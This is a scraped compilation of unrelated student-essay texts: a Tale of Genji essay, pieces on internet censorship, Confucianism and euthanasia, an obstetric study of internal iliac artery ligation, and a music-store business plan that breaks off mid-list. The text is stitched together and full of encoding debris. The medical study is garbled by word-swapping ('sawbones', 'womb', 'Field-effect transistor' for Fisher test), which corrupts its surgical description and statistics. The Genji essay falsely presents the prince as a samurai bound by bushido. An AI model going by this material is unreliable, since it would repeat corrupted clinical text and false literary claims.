Ã‚  Ã‚  Ã‚  Ã‚   February 10, 2008, http://www.kidney.org/kidneydisease/ckd/knowGFR.cfm Wolfgang Koenig, on behalf of the Multicentre Study Group, Department of Internal   Ã‚  Ã‚  Ã‚  Ã‚   Medicine II-Cardiology, University of Ulm Medical Center, Ulm, Germany   Ã‚  Ã‚  Ã‚  Ã‚   (2001). Efficacy and Tolerability of Metoprolol Tartrate in Patients With Mild-to-   Ã‚  Ã‚  Ã‚  Ã‚   Moderate Essential Hypertension: A Randomised, Double-Blind, Multicentre   Ã‚  Ã‚  Ã‚  Ã‚   Trial. Retrieved from February 10, 2008, from   Ã‚  Ã‚  Ã‚  Ã‚   http://www.medscape.com/viewarticle/406240

Samurais Values In The Tale Of Genji English Literature Essay

Samurais Values In The Tale Of Genji English Literature Essay The Tale of Genji is one of the greatest works in Japanese and world literature. It was created at the turn of X-XI centuries, in the era of rapid formation and flowering of Japanese culture.  Its author was a lady, known as Murasaki Shikibu. This books tells about the life of that period in Japan, having some historical incidents, including the life and traditions of samurai. It tells about the life of  Genji, a son of the  Japanese emperor, also known as Hikaru Genji. The tale concentrates on his romantic life and describes the customs of the aristocratic society of the time. Genjis was a well known man, respected and honorable, and also a good looking. His most important personality trait is the loyalty, the trait he shows to all the women in his life. Once Genji found a house on Gojo, over the roof of which he saw a green vine, with beautiful white flowers called yugao the twilight beauty. Soon Genji got acquainted with the lady of the house, they fell in love with each other, and he visited her every night. However, their happiness did not last long, as an evil spirit possessed Yugao and she suddenly died. Genji was so upset, he blamed himself for the death of his love. There is no telling how depressed and disappointed he was!. ( Puette, William J, 78) At the same time he kept everything in a secret, not to let anybody know what had happened, as it was a question of his reputation. With the help of Koremitsu, his confident, Yugaos funeral was held secretly, but with all due respect. One evening, one of Yugaos servant ladies Ukon told Genji who her mistress really was. Although she had blue blood in her veins, Yugao lost her parents when she was little. So shy and humble was Yugao that she would hide everything behind her sorrowful smiles. But her memories would never perish from Genjis heart. It is important to point out, that the main character was a samurai, so he had certain values. An outlook of Samurai Bushido is the unwritten code of conduct of Samurai in the society, it is a set of rules and norms of the true ideal of a warrior. Bushido means the way of the samurai, the warrior, in addition the word is also translated as duty, morality. Thus, bushido is samurai morality, virtue, moral and ethical code. Bushido is a practical morality, samurai believed it is method of improving mental and physical health.   Bushido was designed to teach proper life in feudal Japanese society.  It combined  a theory of existence and the study of the human psyche, and solved issues related to the notion of the essence of the individual, its role in the world,   meaning of life, good and evil, moral values and moral ideal. Samurai was keenly aware  of their moral duty, in particular their personal responsibilities in relation to overlord, had to assess their own actions and deeds,  morally condemn themselves if misconduct, breach of duty.( Puette, William J, 145) The main value of samurai, first of all, was loyalty to overlord, expressed in service to overlord, to be of service is to put another above yourself. Loyalty is faithfulness or a devotion to a person or cause. It relied the provisions of loyalty, drawn from Shinto, Buddhist belief in impermanence of all earthly things, which strengthened from a samurai spirit of sacrifice and do not fear death, and philosophy of Confucianism, which made loyalty of the first virtue. Near loyalty was the principle of duty. (Shirane, 45) One of the key value of Samurai was personal courage, unbending courage. True courage is to live, when lawfully to live, and die when lawfully to die. Samurai should go to the death with a clear consciousness of what to do and that is not worth his dignity. The sense of honor is also very important. The consciousness of self-esteem is brought up in Samurai from childhood.  Warriors strictly guarded their good name, a sense of shame was for the samurai hardest.  We can see at in the book, while Genji always behaved with sense of honor, he said : I should weigh every word and always ask myself, is it true that Im going to say. Also Genji was polite with women, he showed his good attitude and manners to all the women in his life, as he never abandoned any of them.  He had  the true goodness of the mind and spirit, the unbiased kindness to do good. Honor and glory valued higher than life for samurai, . In all his actions samurai was supposed to come from considerations of the higher justice and fairness. A true samurai had only one judge of his honor himself, as you cannot hide from yourself. It is important to point out such value as the Wisdom of Honesty, as honesty is the human quality of communicating and acting truthfully, related to truth as a value, and Genji tried to be honest, and first of all with himself. So The Tale of Genji is one of the greatest works in Japanese literature, as it truly depicts life and traditions of samurai in that time. The tale of Genji shows socio-philosophical traditions of the society, it is devoted to samurai tradition, existed for thousands of years.  Those looking fierce and tough warriors, ready at any time to resort to his sharp shiny swords, were stern and ascetic life, full of inner discipline and poetry. Their whole life comes down to, to die with dignity, while maintaining their honor. Their world is based on honor, generosity, service, courage, sacrifice and a highly developed culture. Love theme is reflected very touching in the book, and sad heartfelt poetry with oriental motifs emphasizes the dramatic, romantic atmosphere and a samurai love theme of the book. Feel the deep meaning, a philosophy, and enjoy the overall beauty of the book, and also learn a lot from the eastern people patience, generosity, diligence, discipline, ability to appreciate every moment of life lived Work cited: Puette, William J.  Guide to the Tale of Genji by Murasaki Shikibu. Rutland, (1983) Shirane, Haruo.  Envisioning the Tale of Genji: Media, Gender, and Cultural Production. New York: Columbia University Press(2008) Morris, Ivan.  The World of the Shining Prince. New York, 1994. Mostow, Joshua S. Picturing   The Tale of Genji.  The Journal of the Association of Teachers of Japanese.  April 1999. (1-25)

Internet Censorship :: Essays Papers

INTERNET CENSORSHIP Censoring the Internet The internet offers a huge wealth of information both good and bad, unfortunately the vary nature of the internet makes policing this new domain practically impossible. The internet began as a small university network in the United States and has blossomed into a vast telecommunications network spanning the globe. Today the internet is ruled by no governing body and it is an open society for ideas to be developed and shared in. Unfortunately every society has its seedy underside and the internet is no exception. To fully understand the many layers to this problem, an understanding of net history is required. Some thirty years ago the RAND corporation, Americas first and foremost Cold War think-tank faced a strange strategic problem. The cold war had spawned technologies that allowed countries with nuclear capability to target multiple cities with one missile fired from the other side of the world. Post-nuclear America would need a command and control network, l inked from city to city, state to state and base to base. No matter how thoroughly that network was armored or protected, its switches and wiring would always be vulnerable to the impact of atomic bombs. A nuclear bombardment would reduce any network to tatters. Any central authority would be an obvious and immediate target for enemy missiles. The center of a network would be the first place to go. So RAND mulled over this puzzle in deep military secrecy and arrived at their solution. In 1964 their proposed ideas became public. Their network would have no central authority, and it would be designed from the beginning to operate while in tatters. All the nodes in the network would be equal in status to all other nodes, each node having its own authority to originate, pass and receive messages. The messages themselves would be divided into packets, each packet separately addressed. Each packet would begin at some specified source node and end at some other specified destination node. The particular route that the packet took would be unimportant, only the final results counted. Each packet would be tossed around like a hot potato from node to node, more or less in the direction of its destination, until it ended up in the proper place. If big chunks of the network were blown away, which wouldn't matter, the packets would still stay airborne, moving across the field by whatever nodes happened to survive.

Confucianism Essay -- essays research papers

Confucianism Confucianism is an East Asian philosophy built up by a Chinese philosopher, Confucius (K'ung Fu-tzu), in the 6th - 5th century BCE. It’s a philosophy based on human morals and relationships. To really understand Confucianism, how it originated and what parts of history contributed towards its development, you have to look into: who is Confucius, the history of Confucianism and what happened to Confucianism after the death of Confucius? Who is Confucius? Confucius was of noble descent in the state of Lu (modern Shantung). No records show him attending school even though Confucius was a well educated man. He had to make his own living at an early age. He started a political career at a young age, rising in the ranks, but fell faster than what he rose. His main goal in politics was to restore humanity and to convince various nobles to follow a certain guideline, but after he was dismissed from government, he never returned to public life. By the age of 20, Confucius decided to become a teacher, to try to change the world through what he teachers. He had a pattern of thinking that inspired many people, no matter what religion they were, most of East Asia and their way of thinking had Confucian elements in them. His policy was "accept anyone as a disciple provided that the student is willing to learn." But the violent leaders at the time, paid no attention to any of his philosophies. Confucius was one of the first and few philo sophers to leave a collection of writings behind as a source for all people (like the Bible for Catholics). History of Confucianism Confucius lived from 551BCE to 479BCE, during the Chou Dynasty, where in fact imperial rule was breaking down. High principled men originally founded then ran the Chou Dynasty, but by Confucius' time, China was going through a very difficult period where conflicts and attacks had controlled the dynasty, while usurpers took over land, this dynasty was corrupt. This period of political turmoil (770BCE-221BCE) started a new era of a "hundred schools" where teachers, such as Confucius, would move from state to state teaching their other people about their ideas and morals. This was also the time though, where prisoners were put to death in mass executions, soldiers were paid when they presented the severed heads of the enemy, whole populations that were captured were beheaded a... ... as if his life was a disappointment and a failure, but this is proven to not be true because his disciples thought he was great enough to create the book Mencius which is like the Analects. Neo-Confucianism In the East Asian countries, Confucianism was in a competition with Buddhism and Taoism. After the death of Mencius, Confucianism reemerged into a new form now called Neo-Confucianism, which is an interpretation of Confucian thought (mainly that of Mencius) that also addressed the issues of Buddhism and Taoism. So until the early 20th Century, this new philosophical force in Chinese life remained. Confucianism started off as a one man show, trying to make a difference in politics and in general, teaching people about morals and good human conduct. As history progressed, through changes of dynasties and different emperors, many new and different feelings about Confucianism emerged. But Confucius never changed what he believed in, no matter how many times his beliefs were rejected. He fought for what he new was right, and in the end didn’t achieve what he wanted to. But to everyone else, he was a brave man, a man who never gave up and a man whose legend is worth remembering.

Mercy Killing Essay -- essays research papers

The applied moral issue of euthanasia, or mercy killing, concerns whether it is morally acceptable for a third party, such as a physician, to end the life of a terminally ill patient who is in intense pain. I will go further into the facts of this in my paper. The euthanasia controversy is part of a larger issue concerning the right to die. Staunch defenders of personal liberty argue that all of us are morally entitled to end our lives when we see fit. Thus, according to these people, suicide is in principle morally permissible. For health care workers, the issue of the right to die is most prominent when a patient in their care is terminally ill, is in intense pain, and voluntarily chooses to end their life to escape prolonged suffering. In these cases, there are several theoretical options open to the health care worker. First, the worker can ignore the patient's request and care can continue as usual. Second, the worker can discontinue providing life-sustaining treatment to the patient, and thus allow him to die more quickly. This option is called passive euthanasia since it brings on death through nonintervention. Third, the health care worker can provide the patient with the means of taking his own life, such as a lethal dose of a drug. This practice is called assisted suicide, since it is the patient, and not technically the health care worker, who administers the drug. Finally, the health care worker can take active measures to end the patient's life, such as by directly administering a lethal dose of a drug. This practice is called active euthanasia since the health care worker's action is the direct cause of the patient's death. Active euthanasia is the most controversial of the four options and is currently illegal in the United States. However, several right to die organizations are lobbying for the laws against active euthanasia to change. Two additional concepts are relevant to the discussion of euthanasia. First, voluntary euthanasia refers to mercy killing that takes place with the explicit and voluntary consent of the patient, either verbally or in a written document such as a living will. Second, nonvoluntary euthanasia refers to the mercy killing of a patient who is unconscious, or otherwise unable to explicitly make their intentions known. In these cases it is often family members who make the request. This would be done against the wi... ...ss, and not enough on other intrinsic goods, such as justice and rights. Accordingly, Rachels offers a revised utilitarian version: active euthanasia is permissible since it promotes the best interests of everyone (such as Jack, Jack's wife, and the hospital staff). Rachels also argues that the golden rule supports active euthanasia insofar as we would want others to put us out of our misery if we were in a situation like Jack's. The categorical imperative supports active euthanasia since no one would willfully universalize a rule which condemns people to unbearable pain before death. Rachels closes noting an irony: the golden rule supports active euthanasia, yet the Catholic church has traditionally opposed it.   Ã‚  Ã‚  Ã‚  Ã‚  My thoughts towards Euthanasia is simply I believe that for people that are in great amount of pain or are suffering unbearably and don’t have any chance of recovery, can make the choice to continue living or to die. I know if I were in that situation I would like to know I have the choice. In situations were the patient is unconscious or unable to make the decision I think that the family should be able to make the choice for the patient.

Prophylactic Internal Iliac Artery Ligation Health Essay

Aim: to measure the function of internal iliac arteria ligation as an effectual method of commanding station partum bleeding due to sidelong uterine rupture. Subjects and methods: A randomized controlled survey was conducted on 50 pregnant adult females who were admitted to Shatby University Maternity Hospital between June 2006 and August 2008, all of them were diagnosed as station partum bleeding due to sidelong uterine rupture. The patients were indiscriminately allocated to 2 groups, the ligation group where ligation of internal iliac arteria followed by fix of ruptured uterine wall was done ( group A ) , and the fix group, where ruptured womb was repaired by conventional methods ( group B ) . Informed consent was taken from all patients. Consequences: The ligation group showed a important statistical difference when compared with the fix group sing intra-operative clip ; sum of blood transfused intra-operatively ; continuance of intensive attention unit stay, need for extra surgical intervention such as hysterectomy or extra vaginal hemostasis, and the incidence of complications as disseminated intravascular coagulopathy, and ureteric hurt. Decision ; internal iliac arteria ligation is considered an alternate effectual method to hysterectomy in instances of sidelong uterine rupture, taking to diminish maternal morbidity. Cardinal words: postpartum bleeding ( PPH ) , uterine rupture, internal iliac arteria ligation ( IIAL ) , hysterectomy.IntroductionPost partum bleeding ( PPH ) is a major cause of world-wide mortality runing from 13 % in developed states to 34 % in developing states. ( 1 ) it is responsible for over 125,000 maternal deceases each twelvemonth and is associated with morbidity in 20 million adult females per twelvemonth. ( 2 ) Traditionally, PPH is defined as hemorrhage from the venereal piece of land of 500 milliliter or more in the first 24 hr following bringing of the babe, a significant autumn in the hematocrit or the demand of blood transfusion have besides been proposed. ( 2-5 ) Uterine atonicity is the common cause of PPH that accounts for 80 % of instances ; other causes include maintained placental fragments, lower venereal piece of land lacerations and uterine rupture. ( 6 ) Uterine rupture is a ruinous obstetric complication. Although an uncommon event, it continues to be associated with a high rate of perinatal and maternal morbidity and mortality. ( 7 ) The chief hazard factor for uterine rupture is a scarred womb, normally secondary to a anterior cesarean bringing. Consequently, most of the recent reappraisals on uterine rupture have focused on adult females trying vaginal birth after old cesarean bringing ( VBAC ) . ( 8 ) Rupture of the unscarred womb is a rare obstetric complication, with an estimated incidence of 1 in 8000-15,000 bringings. ( 9 ) There are two types of uterine rupture, complete and uncomplete, distinguished by whether or non the serous coat of the womb is involved. ( 10 ) In the former the uterine contents including foetus and on occasion placenta, may be discharged into the peritoneal pit, whereas in the latter the serous coat is integral and foetus and placenta are inside the uterine pit. ( 11 ) The complete assortment appears to be more unsafe of the two assortments. ( 12 ) Rupture of womb during labour is more unsafe than that happening in gestation because daze is greater and infection is about inevitable. ( 13,14 ) When PPH continues despite aggressive medical intervention, early consideration should be given to surgical intercession. The pick of process will depend on the para of the adult females and her desire for childbirth, the extent of bleeding and, most significantly, the experience and opinion of the sawbones. In most ruinous state of affairss, hysterectomy is preferred in order to collar farther blood loss and via media with certainty. ( 15 ) Although a life-saving process, it may non be appropriate for adult females who need to continue their generative potency. Haemostatic processs that preserve the uterus include uterine pit tamponage, selective uterine arteria embolisation, uterine arteria ligation and uterine brace suturas. ( 16 ) ISSN 1110-0834Internal iliac arteria ligation ( IIAL ) for the control of profuse pelvic hemorrhage has long been recognized as a life-saving process. ( 17 ) The American College of Obstetricians and Gynaecologists continues to recommend the usage of hypogastric arteria ligation in the direction of intraoperative intractable bleeding during pelvic surgery or in instances of obstetric bleeding. ( 18 ) The construct that surcease of blood supply may do harm to pelvic variety meats has been proved to be incorrect. On the contrary, in the instance of pelvic bleeding unmanageable by conservative methods, prompt intercession may non merely salvage the life of the patient but besides her womb. There are several studies of gestations carried to full term after bilateral ligation of the hypogastric arterias. ( 19-23 ) The purpose of this survey was to measure the function of bilateral IIAL in instances of terrible station partum bleeding due to sidelong rupture womb in comparing to the conventional uterine fix merely in such instances.MethodThis survey was conducted on 50 pregnant adult females who were admitted to Shatby University Maternity Hospital between June 2006 and August 2008, all of them were diagnosed as terrible station partum bleeding due to sidelong uterin e rupture which might be extended to the vagina ( Diagnosis was confirmed during Laparotomy ) . The sample group were indiscriminately allocated into two groups: Group A=35 patients ( ligation group ) : adult females were subjected to bilateral IIAL followed by fix of uterine wall. Group B =15 patients ( fix merely group ) : adult females were subjected to conventional methods of uterine fix. All patients were counselled for the process and informed consent was obtained.Technique of internal iliac ligation was done as follow:The womb is lifted out of the pelvic girdle in order to observe the extent of the hurt. The uterine tear is inspected and examined carefully from the vertex downwards. The hemorrhage borders of the womb are held with Green Armytage clinch ( or pealing forceps ) . The vesica is dissected from the lower uterine section by crisp and blunt dissection so mobilized downwards. The external iliac pulsings are felt and followed up to the bifurcation of the common iliac arteria, and the ureter is identified. The peritoneum on the sidelong side of the bifurcation of the common iliac arteria is opened by a longitudinal scratch in such a manner that the ureter remains attached to the median peritoneal contemplation exposing the retroperitoneal anatomy. The internal iliac arteria is traced and carefully dissected off from the underlying vena. Figure ( 1 & A ; 2 ) A dual yarn of absorbable sutura ( Vicryl ) stuff is passed underneath the arteria and tied. Figure ( 3 ) Femoral arteria pulsings are identified after binding the ligatures.Statistical methods:Statistical analysis was done utilizing Statistical Package for Social Sciences ( SPSS/version 15 ) package. The statistical trials used are as follow: Arthematic mean, standard divergence, Chui-square trial and Fisher exact trial was used for categorised parametric quantities, while for numerical informations, t-test was used. The degree of significance was 0.05.ConsequenceIn the ligation group ( group A ) , the age ranged from 24 – 39 old ages with a mean of 32.85A ±6.57 and para ranged from 1-4 with a mean of 2.45A ±1.01, while in the fix group ( group B ) their age ranged from 27-42 old ages with a mean of 33.9A ±7.06 and the para ranged from 1-4 with a mean of 2.622A ±1.05, severally. There was no statistically important difference between the two groups sing age and para. Both groups were compared as respects intra-operative and, postoperative eventsIntraoperative events:The average intra-operative clip in group ( A ) was 45.5A ±4.68 proceedingss, while it was 98.5A ±8.98 proceedingss in group ( B ) . The intra-operative clip is statistically important longer in group B as P= 0.0001. The clip needed for one- sided IIAL ranged between three to seven proceedingss. The average blood volume transfused intra-operatively in group ( A ) was 1750A ±71.6 milliliter, compared to 2980A ±120.8 milliliters in group ( B ) , this difference is statistically important as P= 0.0001. In group ( A ) , Four patients ( 11.4 % ) had hysterectomy, and 6 patients ( 17.1 % ) had extra haemostatic vaginal suturas for extended vaginal cryings after IIAL. In group ( B ) seven patients ( 46.7 % ) had hysterectomy and 10 patients ( 66.7 % ) had haemostatic vaginal suturas. These difference, are statistically important as P= 0.0058 and 0.0005 severally. These findings revealed a higher incidence of extra secondary processs in group ( B ) . There was no ureteric ligation or hurt recorded in group ( A ) , on the other manus in group ( B ) the ureter was ligated on the same side during fix of the tear without exposing the ureter in 2 instances. Fortunately, both discovered intra-operatively and managed. No other complications were recorded in either group. ( Table I )Postoperative eventsAll patients were transferred postoperatively to intensive attention unit ( ICU ) the average continuance of ICU stay was 38A ±5.99 hours in group ( A ) , compared to 70A ±6.85 hours in group B, which is statistically important as P= 0.0001. On the other manus, 5 patients ( 14.3 % ) in group ( A ) which is statistically important less compared to 9 patients ( 60.0 % ) in group ( B ) were complicated with disseminated intra vascular coagulopathy ( DIC ) . The entire volume of blood collected from intra-abdominal drain over 48 hours postoperatively was 211A ±23.85 milliliter in group ( A ) , while it was 751A ±68.98 milliliter in group ( B ) . These revealed a higher incidence of station operative complications in group B. Merely one patient ( 2.9 % ) died from pneumonic intercalation in group ( A ) , and another one ( 6.7 % ) died in group ( B ) due to monolithic hypovolemia and daze. ( Table II ) Fig. 1: Lateral uterine rupture with terrible station partum bleeding Fig. 2: Retroperitoneal anatomy demoing the great vass. Fig. 3: A dual yarn of absorbable sutura stuff is passed underneath the arteria utilizing right angled artery forceps and tied. Table I: Comparison between the two studied groups sing intra-operative events.Group Aâ€Å" n=35 †Group Bâ€Å" n=15 †Trial of significanceIntra-operative clip ( min. ) 45.5A ±4.68 98.5A ±8.98 T = 4.30 P = 0.0001* Sum of blood transfused intra-operatively ( milliliter ) 1750A ±71.6 2980A ±120.8 T = 5.21 P = 0.0001* Need for hysterectomy 4 ( 11.4 % ) 7 ( 46.7 % ) X2 = 7.60 P = 0.0058* Need for extra vaginal haemostatic suturas 6 ( 17.1 % ) 10 ( 66.7 % ) X2 = 11.83 P = 0.0005* Ureteric ligation 0 ( 0.0 % ) 2 ( 13.3 % ) Field-effect transistor P = 0.085 Datas are presented as Mean + SD * P is important if & lt ; 0.05 Field-effect transistor: Fisher Exact ‘s Trial Table II: Comparison between the two studied groups sing post-operative events.Group Aâ€Å" n=35 †Group Bâ€Å" n=15 †Trial of significanceDuration of ICU stay in hours 38A ±5.99 70A ±6.85 T = 4.25 P = 0.001* Incidence of DIC 5 ( 14.3 % ) 9 ( 60.0 % ) X2 = 10.88 P = 0.0009* Entire sum of blood collected in drain over 48 hours ( milliliter ) 211A ±23.85 751A ±68.98 T = 6.21 P = 0.0001* Maternal mortality 1 ( 2.9 % ) 1 ( 6.7 % ) Field-effect transistor P = 0.524 Datas are presented as Mean + SD * P is important if & lt ; 0.05 Field-effect transistor: Fisher Exact ‘s Test DIC: disseminated intra vascular coagulopathy Intensive care unit: intensive attention unitDiscussionUterine rupture is a serious obstetric complication, with high morbidity and mortality, peculiarly in less and least developed states. The most of import defect of the information available is the deficiency of distinction between uterine rupture with and without old cesarean subdivision. Overall, most rates ranged between 0.1 % and 1 % . Maternal mortality ranged between 1 % and 13 % , and perinatal mortality between 74 % and 92 % . ( 24 ) Uterine artery ligation is a promising technique in the direction of PPH as occlusion of the uterine arteria reduces 90 % of the blood flow. It is utile in uterine atonicity, but in uterine injury, when the avulsed uterine arteria retracts into the wide ligament organizing a hematoma, it is hard to make a uterine arteria ligation and salve the womb. IIAL in such state of affairss is helpful as the force per unit area and flow of circulation lessening distal to the ligation and enabling one to readily turn up the hemophiliac and ligate it firmly. Similarly, in instances of deep forniceal cryings and hematoma, uterine arteria ligation or even hysterectomy does non halt the bleeding. In such instances, blood loss could be arrested after IIAL as vaginal arteria is a direct subdivision of anterior division of internal iliac arteria. Since it is a safe, rapid and really effectual method of commanding shed blooding from venereal piece of land, it is besides helpful in commanding postoperative bleeding after abdominal or vaginal hysterectomy where no unequivocal hemorrhage point is noticeable. IIAL was performed for the first clip by Kelly ( 25 ) with a success rate 95 % and without any major complication. Mukherjee et Al ( 26 ) performed 36 instances of IIAL with a success rate of 83.3 % in 6 old ages. The principle for IIAL as an effectual agencies of commanding intractable PPH and forestalling maternal decease is based on the haemodynamic surveies of Burchell, ( 27 ) which showed that IIAL reduced pelvic blood flow by 49 % and pulse force per unit area by 85 % , ensuing in venous force per unit areas in the arterial circuit therefore advancing hemostasis by a simple coagulum formation. However, the reported success rate of IIAL varies from 40 to 100 % , ( 28 ) and the process averts hysterectomy in merely 50 % of instances. ( 29 ) Papp et Al, ( 30 ) published aA reappraisal of indicants and results for 117 instances of bilateral hypogastric arteria ligation over 15 old ages ( 1990-2004 ) . They documented that, apart from a little lesion to the hypogastric vena, no complications were observed. Bleeding was efficaciously controlled in all 37 obstetric instances. In 13 of these instances, the womb was preserved even when there was cervical gestation, placenta previa, placental breaking off, uterine atonicity, and uterine rupture, and 4 adult females were delivered of mature babies. Bleeding was efficaciously controlled in 41 of 80 gynaecological instances. Contraceptive decrease of pelvic blood flow was the indicant for the process in 39 cases.The womb was preserved in merely a few of the 41 controlled instances, but one adult female ( so far ) was delivered of a mature baby. In our survey we evaluated the efficaciousness of ligation of internal iliac arteria in instances of rupture womb. Results showed less operative clip and sum of blood transfused for replacing in comparing to the fix group. In add-on, the womb was preserved in most of the instances, merely 4 patients ( 11.4 % ) had hysterectomy, and 6 patients ( 17.1 % ) had extra vaginal suturas for hemostasis. There were no ureteric or great vessel hurts. The post-operative events, showed short ICU stay and less incidence of complications as DIC was merely seen in 5 patients ( 14.3 % ) , besides it is fertility salvaging process. The fright of vascular hurt and return of bleeding normally deter an obstetrician from fall backing to IIAL. We observed that one time the uterine hemorrhage was controlled during surgery, it did non repeat in the postoperative period in any adult female in whom the womb was conserved. As there is free inosculation providing pelvic variety meats, vascular lack following ligature have non proved to be a job, even after bilateral IIAL. Khelifi et Al. ( 31 ) have evaluated internal iliac arterias in 13 adult females after ligation by color Doppler echography in the 4th twenty-four hours after intercession and so monthly until repermeabilization of the internal iliac arterias. In all instances, the first test showed down-side the ligature, a flow inversion with an of import pelvic indirect circulation. The following Doppler test showed repermeabilization of the hypogastric arterias after an mean interval of 5 months. Pappz et Al. ( 21 ) have reported a successful gestation after internal iliac arteria ligation with normal flow speed in uterine arterias. Wagaarachchi and Fernando ( 22 ) observed successful gestation in 50 % of the instances following bilateral ligation. Therefore, Internal iliac arteria ligation decreases the hemorrhage, clears the operative field and therefore enables the sawbones to avoid blindly clamping and ligating tissues submerged in a pool of blood. This is peculiarly helpful in cut downing the hazard of ureteric hurt. Internal iliac arteria ligation besides facilitates fix of vaginal lacerations that bleed abundantly with each sutura through the vaginal wall. It represents an option to the hysterectomy and preserves the child-bearing maps of some females because of the subsequent vascular recanalization. All accoucheurs caring for parturient adult females should familiarise themselves with this process as it should be an built-in portion of obstetric and gynaecological preparation.

Starting a Business: Musical Instrument Dealership

The Opportunity Music has power to attract almost all the people. In a country like Bangladesh historically people have practiced music for a long time. That implies that musical industry can get only bigger and bigger in the future which should increase the demand of the musical instruments. And with only a few competitors the opportunity in musical instrument dealership and selling musical instrument can be really huge. In our research we have observed that now day’s people are very brand conscious. Keeping that in mind we are introducing ESP Guitar for the first time in Bangladesh which is a very much renowned brand in the whole world. It is a Japanese brand who makes electronic guitars and basses. It is a very popular brand in many countries right now. ESP is well known for their stylist guitars and basses. Many popular rock and metal bands are using ESP recently and we believe it will be very popular in our country as well because there are number of rock and metal bands in our country now. We are introducing this new brand because according to our analysis it will give us a competitive advantage over our competitors and it will also differentiate our company from all the major players of the industry. Apart from launching ESP in Bangladesh we are also offering installment system which should attract more students who are the main target customers of our company. With the help of the technical and management team of EBS we are also offering free servicing of the musical instruments. Overall we can say that the opportunity in the music industry is huge. We believe we can capitalize this for our benefit. We intend to do that by our creative idea and meeting all the customers’ needs. Products and Services Tune and Play will sell new and used musical instruments and accessories. Our primary items will be electric and acoustic guitars, amplifiers and electronic keyboards, drams and some local instruments like harmonium, tobla and flute. In addition we will have a full service, on-site repair and customization department (band instruments, guitars and electronics). Tune and Play will offer several name brand instruments such as: †¢ Electric and acoustic guitars by ESP. †¢ Bass Guitar †¢ Keyboards †¢ Pianos †¢ Drums †¢ Amps †¢ Mixer †¢ Microphone †¢ Processor †¢ Sound-Card †¢ Foot-Pedal †¢ Violin †¢ Saxophone A very well stocked accessory department to support the above items. In addition to complete repair services for  our products, we will emphasize upgrades and customization items to develop other income streams our competitors have not considered. When carrying a brand name item conflicts with giving the customer the best all-around value, we will always pursue the product that best suits o ur client's interest. Marketing Analysis Target Market Our main target customers are musicians who are ready to pay anything for their desired instrument. However within that musician customer,  there are  different segments, ranging from professionals, to semi-professionals, to hobbyists and novices. We intend to target musical novices, hobbyists, and semi-professionals. These groups  include the largest percentage of musicians,  with the greatest amount of disposable income. These  market segments  can generally be approached with the same marketing techniques, and can be very loyal when treated properly. We are also targeting the students of those schools where ‘Music’ is offered as a mandatory course to them. Moreover there are many music school are present at Dhaka, and the numbers are in rise. Reasons for Buying our Product We are the only store in Dhaka who will offer ESP brand instruments for which musicians have a high demand. We will also offer the novice to semi-professional musician, the convenience of a wide selection, unique offers, experienced and reliable staff, and an educationally-focused community center; all in one location Again most musicians need support and service. The instruments that we sell can be difficult or impossible for end users to service. Potential clients tend to seek stores that can fulfill these services through word of mouth referrals or by using direct shopping experiences. These musicians come back time after time if they feel they are getting a fair deal. Therefore, we will ensure enough numbers of technicians for them always, so that they can find solution of their instrument’s problems any time. We will also provide one year warranty for the brand items. Analysis of Marketing Data: To know about the customer preferences and needs towards musical instrument, we conducted a market survey. After successfully completing the survey analysis, we had a more clear idea of what a potential buyer or musician desires from a music store. For our survey, we targeted people whose who are above 15 years old. We found that 53% people prefer rock music, 27% people prefer heavy metal and rest of the people like classical and pop music. 47% people like to buy Guitars from a music store, 27% 1ike to buy Keyboards, 13% like to buy Drums and others prefer to buy some local instruments like Harmonium, Flute etc. We found that people want both cash and installment payment available in the store. We found out, almost 40% people usually buy instruments for their learning purpose, 35% people buy because they are in band, and rest of the people buy by following their favorite artist. 80% people want lifetime free servicing if the instrument is not broken and rest of the people prefer stores should give year-end sales with 10%-15% discount. For people, Dhanmondi, Panthapath and Uttara as the most convenient place fir shopping. Industry Analysis Since the inception of Bangladesh, basic musical instruments were being manufactured by some local manufacturer. The department was being run by some minor players and import for marketing for international brands didn't exist at all. The market of musical instrument grew massively during late 70s and early 80s when many artists & bands were emerging. Demand of many international instruments like guitar, drums started to increase along with those regional instruments. From that time the need of importing instruments of various brand had became a lucrative opportunity for entrepreneurs. Further, with the technological advancement and immensely growing demand, more and more instrument seller were becoming available but there was not enough legal and economic support to install any authorized dealership or franchising for the provision of brand demand. Though 40 years back from now Melody & Co. , one of the musical instrument dealers, started their business in Old Town of Dhaka during the Pakistan era, they were just a dealer of regional instruments like harmonium, Tablas etc. Industry situation: Although enough growth has taken place in the musical instrument sector but most of it can be attributed to the random brand growth. Similarly Value Added Services have grown but are still a drop in the bucket. Now that the competition has been introduced in the instrument sector some very positive impact have been observed on the growth of the sector in a short span of time which is expected to continue to grow for at least next couple of years. Key Success Factors: †¢ Potentiality of music industry: As the music scenario in Bangladesh is improving and getting the touch of western influence, people are also getting interested in western instruments like electric guitars, drums etc. Emerging brand consciousness: Now days, musicians and artists are being more conscious about the brand. They now prefer brand over cost, as brand represent their image, style and quality. †¢ Globalization: Due to globalization the market in Bangladesh is also getting the attention of the rest of the world. MNC's from different side of the world also want to access this new market before any of their competitors. So internatio nal instruments brands will eagerly enter this market to diversify their risk. †¢ Economic stability: Though being a developing country, economic condition in Bangladesh is now days pretty much stable. So the buying power of Bangladeshi people is also healthy enough for these instrument businesses. Trends: Technological: Technologically Bangladesh is about a couple of years back dated from the developed countries. As a result of that technological advancement in musical instrument is not that significant for last few years. Due to lack of proper knowledge and equipments there is no authorized manufacturing sector for instruments, except those handmade instruments. Political: Politically Bangladesh is a very unstable country. But this specific business has no connection with politics at all. But considering the international DFI or Franchising, political assessment is necessary. Due to political corruptions and instability, Bangladesh is sometimes favorable or unfavorable country for MNCs depending on the situation. Considering the political aspect, this instrument business does not have much to care about. Societal: As this is related with culture and art, societal influence has tremendous impact over our business. Most societies of Bangladesh are conservative and they are attached with traditional Bangladeshi culture. These influence traditional Bangladeshi musical instruments like Harmonium, Tablas etc. But guitars & drums are more likely considered as western influence which is sometimes considered as a negative aspect by them. So to certain extent societal factors drive the industry. Assessment of Industry: By considering the five forces of an industry, we can assess our musical instrument industry from five different sides. Bargaining Power of Supplier: In this specific business sector, suppliers have enough power to dominate over instrument dealership business in country like ours. Because of the economic sloth advancement, the suppliers (the brands) do not usually that much care about authorizing dealership in our country. †¢ Also the brands that are more popular in Bangladesh will have a higher demand, any musical store will want to be a licensed dealer of them. †¢ Cost of selecting and switching suppliers is quite high. All these factors determine the supplier’s dominance over the industry. Bargaining Power of Buyers: †¢ Presence of a few numbers of stores and dealers. †¢ Cost of buying brand products from abroad is quite high and heavily taxable. These factors determine the buyer’s low power over the industry. Threat of new Entrant: †¢ High 